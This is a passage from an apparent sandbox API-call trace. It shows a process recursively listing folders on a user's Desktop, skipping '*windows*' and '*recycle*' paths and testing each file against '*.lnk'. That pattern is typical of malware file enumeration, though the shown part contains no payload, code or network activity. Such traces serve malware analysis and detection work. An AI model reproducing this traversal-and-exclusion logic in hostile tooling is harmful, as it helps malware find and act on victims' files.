44 [0270.939] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x73f900 [0270.940] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.940] lstrlenW (lpString="*.lnk") returned 5 [0270.940] lstrlenW (lpString="*.lnk") returned 5 [0270.940] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.940] StrCpyW (in: psz1=0x73f668, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.940] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.940] PathMatchSpecW (pszFile="9d-zniX6eA.xlsx", pszSpec="*.lnk") returned 0 [0270.941] LocalFree (hMem=0x73f668) returned 0x0 [0270.941] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.941] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbd6100, ftCreationTime.dwHighDateTime=0x1d89e3f, ftLastAccessTime.dwLowDateTime=0xcee62f50, ftLastAccessTime.dwHighDateTime=0x1d8a415, ftLastWriteTime.dwLowDateTime=0xcee62f50, ftLastWriteTime.dwHighDateTime=0x1d8a415, nFileSizeHigh=0x0, nFileSizeLow=0xc34e, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="CdH_BCW1NZ.m4a", cAlternateFileName="CDH_BC~1.M4A")) returned 1 [0270.941] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.941] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.941] lstrlenW (lpString="\\") returned 1 [0270.941] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned 44 [0270.941] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x73f900 [0270.941] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.941] lstrlenW (lpString="*.lnk") returned 5 [0270.941] lstrlenW (lpString="*.lnk") returned 5 [0270.941] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.941] StrCpyW (in: psz1=0x73f668, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.942] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.942] PathMatchSpecW (pszFile="CdH_BCW1NZ.m4a", pszSpec="*.lnk") returned 0 [0270.942] LocalFree (hMem=0x73f668) returned 0x0 [0270.942] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.942] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ac0c9c0, ftCreationTime.dwHighDateTime=0x1d8a4f3, ftLastAccessTime.dwLowDateTime=0x3aca3a90, ftLastAccessTime.dwHighDateTime=0x1d8a63c, ftLastWriteTime.dwLowDateTime=0x3aca3a90, ftLastWriteTime.dwHighDateTime=0x1d8a63c, nFileSizeHigh=0x0, nFileSizeLow=0xf585, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="Izj_VXNBunaKh.wav", cAlternateFileName="IZJ_VX~1.WAV")) returned 1 [0270.942] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.942] StrCpyW (in: psz1=0x73f4e8, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN" [0270.942] lstrlenW (lpString="\\") returned 1 [0270.942] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN") returned 44 [0270.942] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x73f900 [0270.943] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.943] lstrlenW (lpString="*.lnk") returned 5 [0270.943] lstrlenW (lpString="*.lnk") returned 5 [0270.943] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.943] StrCpyW (in: psz1=0x73f670, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.943] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.943] PathMatchSpecW (pszFile="Izj_VXNBunaKh.wav", pszSpec="*.lnk") returned 0 [0270.943] LocalFree (hMem=0x73f670) returned 0x0 [0270.944] LocalFree (hMem=0x73f4e8) returned 0x0 [0270.944] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f4d8 | out: lpFindFileData=0x24f4d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb80cf450, ftCreationTime.dwHighDateTime=0x1d8a73d, ftLastAccessTime.dwLowDateTime=0x7b94430, ftLastAccessTime.dwHighDateTime=0x1d8a73f, ftLastWriteTime.dwLowDateTime=0x7b94430, ftLastWriteTime.dwHighDateTime=0x1d8a73f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f54c, dwReserved1=0x0, cFileName="ufws9X5CUqQ", cAlternateFileName="UFWS9X~1")) returned 1 [0270.944] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f4e8 [0270.944] PathCombineW (in: pszDest=0x73f4e8, pszDir="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN", pszFile="ufws9X5CUqQ" | out: pszDest="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.944] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.944] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f900 [0270.944] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0270.944] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.944] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0270.944] StrCpyW (in: psz1=0x73f900, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0270.944] LocalFree (hMem=0x6b9738) returned 0x0 [0270.944] PathMatchSpecW (pszFile="ufws9X5CUqQ", pszSpec="*windows*") returned 0 [0270.945] LocalFree (hMem=0x73f900) returned 0x0 [0270.945] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.945] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73f900 [0270.945] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0270.945] lstrlenW (lpString="*recycle*") returned 9 [0270.945] lstrlenW (lpString="*recycle*") returned 9 [0270.945] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0270.945] StrCpyW (in: psz1=0x73f900, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0270.947] LocalFree (hMem=0x6fb588) returned 0x0 [0270.947] PathMatchSpecW (pszFile="ufws9X5CUqQ", pszSpec="*recycle*") returned 0 [0270.947] LocalFree (hMem=0x73f900) returned 0x0 [0270.947] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f5310 [0270.947] StrCpyW (in: psz1=0x6f5310, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.948] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.948] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\slj -wnxmydkgowpn\\ufws9x5cuqq\\*"), lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb80cf450, ftCreationTime.dwHighDateTime=0x1d8a73d, ftLastAccessTime.dwLowDateTime=0x7b94430, ftLastAccessTime.dwHighDateTime=0x1d8a73f, ftLastWriteTime.dwLowDateTime=0x7b94430, ftLastWriteTime.dwHighDateTime=0x1d8a73f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f274, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0270.950] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb80cf450, ftCreationTime.dwHighDateTime=0x1d8a73d, ftLastAccessTime.dwLowDateTime=0x7b94430, ftLastAccessTime.dwHighDateTime=0x1d8a73f, ftLastWriteTime.dwLowDateTime=0x7b94430, ftLastWriteTime.dwHighDateTime=0x1d8a73f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.951] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a6afa70, ftCreationTime.dwHighDateTime=0x1d8995a, ftLastAccessTime.dwLowDateTime=0x8f33b9a0, ftLastAccessTime.dwHighDateTime=0x1d89ec4, ftLastWriteTime.dwLowDateTime=0x8f33b9a0, ftLastWriteTime.dwHighDateTime=0x1d89ec4, nFileSizeHigh=0x0, nFileSizeLow=0x39a6, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="68le5CBS.mkv", cAlternateFileName="")) returned 1 [0270.951] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.951] StrCpyW (in: psz1=0x73f900, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.951] lstrlenW (lpString="\\") returned 1 [0270.951] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.951] LocalAlloc (uFlags=0x40, uBytes=0x172) returned 0x73fd18 [0270.951] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.951] lstrlenW (lpString="*.lnk") returned 5 [0270.951] lstrlenW (lpString="*.lnk") returned 5 [0270.951] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.951] StrCpyW (in: psz1=0x73fa98, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.952] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.952] PathMatchSpecW (pszFile="68le5CBS.mkv", pszSpec="*.lnk") returned 0 [0270.952] LocalFree (hMem=0x73fa98) returned 0x0 [0270.952] LocalFree (hMem=0x73f900) returned 0x0 [0270.952] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36aa3760, ftCreationTime.dwHighDateTime=0x1d89eaf, ftLastAccessTime.dwLowDateTime=0xca91db10, ftLastAccessTime.dwHighDateTime=0x1d8a3ee, ftLastWriteTime.dwLowDateTime=0xca91db10, ftLastWriteTime.dwHighDateTime=0x1d8a3ee, nFileSizeHigh=0x0, nFileSizeLow=0xd9e1, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="H_q2zDIVgnhJdPM.jpg", cAlternateFileName="H_Q2ZD~1.JPG")) returned 1 [0270.952] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.952] StrCpyW (in: psz1=0x73f900, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.952] lstrlenW (lpString="\\") returned 1 [0270.952] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.952] LocalAlloc (uFlags=0x40, uBytes=0x172) returned 0x73fd18 [0270.953] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.953] lstrlenW (lpString="*.lnk") returned 5 [0270.953] lstrlenW (lpString="*.lnk") returned 5 [0270.953] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.953] StrCpyW (in: psz1=0x73faa0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.953] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.953] PathMatchSpecW (pszFile="H_q2zDIVgnhJdPM.jpg", pszSpec="*.lnk") returned 0 [0270.954] LocalFree (hMem=0x73faa0) returned 0x0 [0270.954] LocalFree (hMem=0x73f900) returned 0x0 [0270.954] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d711c80, ftCreationTime.dwHighDateTime=0x1d8a56a, ftLastAccessTime.dwLowDateTime=0x906cdf40, ftLastAccessTime.dwHighDateTime=0x1d8a5fe, ftLastWriteTime.dwLowDateTime=0x906cdf40, ftLastWriteTime.dwHighDateTime=0x1d8a5fe, nFileSizeHigh=0x0, nFileSizeLow=0x10eec, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="kNEUD6C69uOFzsurpca.ods", cAlternateFileName="KNEUD6~1.ODS")) returned 1 [0270.954] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.954] StrCpyW (in: psz1=0x73f900, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ" [0270.954] lstrlenW (lpString="\\") returned 1 [0270.954] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ") returned 56 [0270.954] LocalAlloc (uFlags=0x40, uBytes=0x172) returned 0x73fd18 [0270.954] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.954] lstrlenW (lpString="*.lnk") returned 5 [0270.954] lstrlenW (lpString="*.lnk") returned 5 [0270.954] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.954] StrCpyW (in: psz1=0x73faa8, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.955] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.955] PathMatchSpecW (pszFile="kNEUD6C69uOFzsurpca.ods", pszSpec="*.lnk") returned 0 [0270.955] LocalFree (hMem=0x73faa8) returned 0x0 [0270.955] LocalFree (hMem=0x73f900) returned 0x0 [0270.955] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f200 | out: lpFindFileData=0x24f200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ff4050, ftCreationTime.dwHighDateTime=0x1d8a273, ftLastAccessTime.dwLowDateTime=0x14facc20, ftLastAccessTime.dwHighDateTime=0x1d8a363, ftLastWriteTime.dwLowDateTime=0x14facc20, ftLastWriteTime.dwHighDateTime=0x1d8a363, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24f274, dwReserved1=0x0, cFileName="nZCz0gZ5KEtWCeCljh", cAlternateFileName="NZCZ0G~1")) returned 1 [0270.955] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x73f900 [0270.955] PathCombineW (in: pszDest=0x73f900, pszDir="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ", pszFile="nZCz0gZ5KEtWCeCljh" | out: pszDest="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.955] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.955] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73fd18 [0270.955] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0270.955] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.955] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0270.955] StrCpyW (in: psz1=0x73fd18, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0270.956] LocalFree (hMem=0x6b9738) returned 0x0 [0270.956] PathMatchSpecW (pszFile="nZCz0gZ5KEtWCeCljh", pszSpec="*windows*") returned 0 [0270.956] LocalFree (hMem=0x73fd18) returned 0x0 [0270.956] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0270.956] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x73fd18 [0270.956] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0270.956] lstrlenW (lpString="*recycle*") returned 9 [0270.956] lstrlenW (lpString="*recycle*") returned 9 [0270.956] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0270.957] StrCpyW (in: psz1=0x73fd18, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0270.957] LocalFree (hMem=0x6fb588) returned 0x0 [0270.957] PathMatchSpecW (pszFile="nZCz0gZ5KEtWCeCljh", pszSpec="*recycle*") returned 0 [0270.957] LocalFree (hMem=0x73fd18) returned 0x0 [0270.957] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f5538 [0270.957] StrCpyW (in: psz1=0x6f5538, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.957] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.957] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\slj -wnxmydkgowpn\\ufws9x5cuqq\\nzcz0gz5ketwcecljh\\*"), lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ff4050, ftCreationTime.dwHighDateTime=0x1d8a273, ftLastAccessTime.dwLowDateTime=0x14facc20, ftLastAccessTime.dwHighDateTime=0x1d8a363, ftLastWriteTime.dwLowDateTime=0x14facc20, ftLastWriteTime.dwHighDateTime=0x1d8a363, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca580 [0270.960] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ff4050, ftCreationTime.dwHighDateTime=0x1d8a273, ftLastAccessTime.dwLowDateTime=0x14facc20, ftLastAccessTime.dwHighDateTime=0x1d8a363, ftLastWriteTime.dwLowDateTime=0x14facc20, ftLastWriteTime.dwHighDateTime=0x1d8a363, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.960] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa171810, ftCreationTime.dwHighDateTime=0x1d8a4ab, ftLastAccessTime.dwLowDateTime=0x430946d0, ftLastAccessTime.dwHighDateTime=0x1d8a6c1, ftLastWriteTime.dwLowDateTime=0x430946d0, ftLastWriteTime.dwHighDateTime=0x1d8a6c1, nFileSizeHigh=0x0, nFileSizeLow=0x16512, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="E6b480GpDZ.flv", cAlternateFileName="E6B480~1.FLV")) returned 1 [0270.960] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0270.960] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.960] lstrlenW (lpString="\\") returned 1 [0270.960] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.960] LocalAlloc (uFlags=0x40, uBytes=0x198) returned 0x6f45b8 [0270.961] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.961] lstrlenW (lpString="*.lnk") returned 5 [0270.961] lstrlenW (lpString="*.lnk") returned 5 [0270.961] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.961] StrCpyW (in: psz1=0x6f45b8, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.961] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.961] PathMatchSpecW (pszFile="E6b480GpDZ.flv", pszSpec="*.lnk") returned 0 [0270.962] LocalFree (hMem=0x6f45b8) returned 0x0 [0270.962] LocalFree (hMem=0x73fd18) returned 0x0 [0270.962] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f556810, ftCreationTime.dwHighDateTime=0x1d8a132, ftLastAccessTime.dwLowDateTime=0x2910d6d0, ftLastAccessTime.dwHighDateTime=0x1d8a4cd, ftLastWriteTime.dwLowDateTime=0x2910d6d0, ftLastWriteTime.dwHighDateTime=0x1d8a4cd, nFileSizeHigh=0x0, nFileSizeLow=0x14c11, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="jTDIOB0tNhciR.mp3", cAlternateFileName="JTDIOB~1.MP3")) returned 1 [0270.962] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0270.962] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.962] lstrlenW (lpString="\\") returned 1 [0270.962] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.962] LocalAlloc (uFlags=0x40, uBytes=0x198) returned 0x6f45b8 [0270.962] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.962] lstrlenW (lpString="*.lnk") returned 5 [0270.962] lstrlenW (lpString="*.lnk") returned 5 [0270.962] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.962] StrCpyW (in: psz1=0x6f45b8, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.963] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.963] PathMatchSpecW (pszFile="jTDIOB0tNhciR.mp3", pszSpec="*.lnk") returned 0 [0270.963] LocalFree (hMem=0x6f45b8) returned 0x0 [0270.963] LocalFree (hMem=0x73fd18) returned 0x0 [0270.963] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6e13a0, ftCreationTime.dwHighDateTime=0x1d8a05d, ftLastAccessTime.dwLowDateTime=0xb99f9f60, ftLastAccessTime.dwHighDateTime=0x1d8a0f4, ftLastWriteTime.dwLowDateTime=0xb99f9f60, ftLastWriteTime.dwHighDateTime=0x1d8a0f4, nFileSizeHigh=0x0, nFileSizeLow=0xe89e, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="tIBq-enHy24rIJN.png", cAlternateFileName="TIBQ-E~1.PNG")) returned 1 [0270.963] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0270.963] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.963] lstrlenW (lpString="\\") returned 1 [0270.963] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.963] LocalAlloc (uFlags=0x40, uBytes=0x198) returned 0x6f45b8 [0270.963] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.963] lstrlenW (lpString="*.lnk") returned 5 [0270.963] lstrlenW (lpString="*.lnk") returned 5 [0270.963] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0270.964] StrCpyW (in: psz1=0x6f45b8, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0270.964] LocalFree (hMem=0x6ef5b8) returned 0x0 [0270.964] PathMatchSpecW (pszFile="tIBq-enHy24rIJN.png", pszSpec="*.lnk") returned 0 [0270.964] LocalFree (hMem=0x6f45b8) returned 0x0 [0270.964] LocalFree (hMem=0x73fd18) returned 0x0 [0270.964] FindNextFileW (in: hFindFile=0x6ca580, lpFindFileData=0x24ef28 | out: lpFindFileData=0x24ef28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bff5450, ftCreationTime.dwHighDateTime=0x1d89ffd, ftLastAccessTime.dwLowDateTime=0x917f94a0, ftLastAccessTime.dwHighDateTime=0x1d8a486, ftLastWriteTime.dwLowDateTime=0x917f94a0, ftLastWriteTime.dwHighDateTime=0x1d8a486, nFileSizeHigh=0x0, nFileSizeLow=0x802c, dwReserved0=0x24ef9c, dwReserved1=0x0, cFileName="YvzSRADjriauckm5j.png", cAlternateFileName="YVZSRA~1.PNG")) returned 1 [0270.964] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fd570 [0270.964] StrCpyW (in: psz1=0x6fd570, psz2="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" | out: psz1="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh" [0270.964] lstrlenW (lpString="\\") returned 1 [0270.964] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\SlJ -wNXMYDKGOwpN\\ufws9X5CUqQ\\nZCz0gZ5KEtWCeCljh") returned 75 [0270.964] LocalAlloc (uFlags=0x40, uBytes=0x198) returned 0x6f45b8 [0270.965] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0270.965] lstrlenW (lpString="*.lnk") returned 5 [0270.965] lstrlenW (lpString="*.lnk") returned 5 [0270.965] 